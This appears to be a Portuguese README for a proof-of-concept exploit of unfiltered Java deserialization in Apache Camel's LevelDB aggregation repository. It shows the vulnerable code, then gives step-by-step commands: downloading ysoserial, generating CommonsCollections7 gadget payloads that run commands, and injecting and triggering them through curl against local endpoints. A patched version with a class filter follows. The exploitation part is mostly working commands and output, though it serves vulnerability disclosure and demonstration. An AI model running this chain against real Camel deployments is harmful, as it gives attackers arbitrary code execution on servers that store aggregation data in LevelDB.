// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // SEM FILTRAGEM!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // SEM FILTRAGEM!
        }
    });
}

// CassandraCamelCodec.java - PROTEGIDO
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filtro: "java.**;org.apache.camel.**;!*" - bloqueia classes gadget
    return objectIn.readObject();
}

cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

# Primeiro, inicialize o banco de dados LevelDB (cria diretório e adiciona uma entrada de teste)
curl http://localhost:8080/exploit/init

LevelDB inicializado com sucesso!
Caminho do banco de dados: /tmp/leveldb-exploit/aggregation.db
Nome do repositório: myrepo
Adicionada troca de teste com chave: test-key

Agora você pode injetar um payload malicioso com POST /exploit/inject

# Baixe o ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Gere payload que executa um comando (ex.: abrir calculadora, tocar arquivo, etc.)
# Para Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# Para macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# Para Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

# Injete o objeto serializado malicioso no LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Payload malicioso injetado no LevelDB!
Tamanho do payload: XXXX bytes
Chave: myrepo^@malicious-key

O payload será desserializado quando:
1. A aplicação reiniciar e recuperar agregações
2. Uma operação get() for realizada nesta chave
3. O mecanismo de varredura/recuperação executar

# Acione a vulnerabilidade lendo do LevelDB
curl http://localhost:8080/exploit/trigger

# Verifique se o comando foi executado
ls -la /tmp/pwned

private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... resto da desserialização
    }
}

potential-leveldb/
├── pom.xml                          # Configuração Maven com deps vulneráveis
├── README.md                        # Este arquivo
└── src/main/java/com/example/
    ├── Application.java             # Ponto de entrada Spring Boot
    ├── LevelDBRoute.java           # Rota Camel usando agregação LevelDB
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # Endpoints REST para exploração